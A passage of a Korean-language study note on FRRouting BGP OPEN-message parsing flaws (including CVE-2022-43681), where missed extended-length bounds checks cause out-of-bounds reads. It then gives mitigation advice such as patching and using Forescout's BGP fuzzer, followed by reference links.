> 수신된 OPEN 메시지에 길이가 확장된 옵션 매개 변수가 있는 경우(RFC 9072에 따름) 원시 패킷 스트림에서 2바이트 대신 3바이트를 읽음

> 코드가 "while" 루프에서 반복되도록 하여 반복 중 하나에서 범위를 벗어난 읽기를 트리거하는 것으로 판단 됨

2.4 CVE-2022-43681 // 불확실하므로 추가 공부 필요

- bgp_open_option_parse() 함수에서 취약점이 발생

> line6: 정규 옵션 길이를 가진 패킷에 존재해야 하는 2개의 옥텟만 설명하는 경계 검사 수행

> 경계 검사는 총 세 개의 옥텟이 있어야 하는 확장 옵션 길이를 고려하지 못하여 범위를 벗어난 읽기를 트리거

2.3 완화

- BGP는 인터넷의 필수적인 부분이기 때문에 보안에 대한 몇 가지 지침이 있음

> 그러나 이러한 지침은 BGP 보안에 대한 알려진 문제와 RPKI 배포 방법에만 초점을 맞추는 경향이 있음

> 따라서 조직은 BGP 보안을 처리하기 위해 ISP에만 의존해서는 안 됨

- 네트워크 인프라 장치 패치

> 확인된 3개의 취약점과 같은 BGP 구현상 취약점 완화 목적

> 조직의 모든 네트워크 장치와 해당 장치에서 실행 중인 소프트웨어 버전 형상 관리 필요

- Forescout은 Python 기반 오픈 소스 BGP Fuzzer 도구를 제공 [7]

> 조직이 내부적으로 사용되는 BGP 제품군의 보안을 테스트하고 BGP 구현에서 새로운 결함을 찾을 수 있도록하기 위함

3. 참조

[1] https://net-study.club/entry/Routing-Protocol-BGP-Border-Gateway-Protocol
[2] https://www.forescout.com/blog/three-new-bgp-message-parsing-vulnerabilities-disclosed-in-frrouting-software/
[3] https://thehackernews.com/2023/05/researchers-uncover-new-bgp-flaws-in.html
[4] https://github.com/FRRouting/frr
[5] https://github.com/FRRouting/frr/pull/12043
[6] https://github.com/FRRouting/frr/pull/12247
[7] https://github.com/Forescout/bgp_boofuzzer/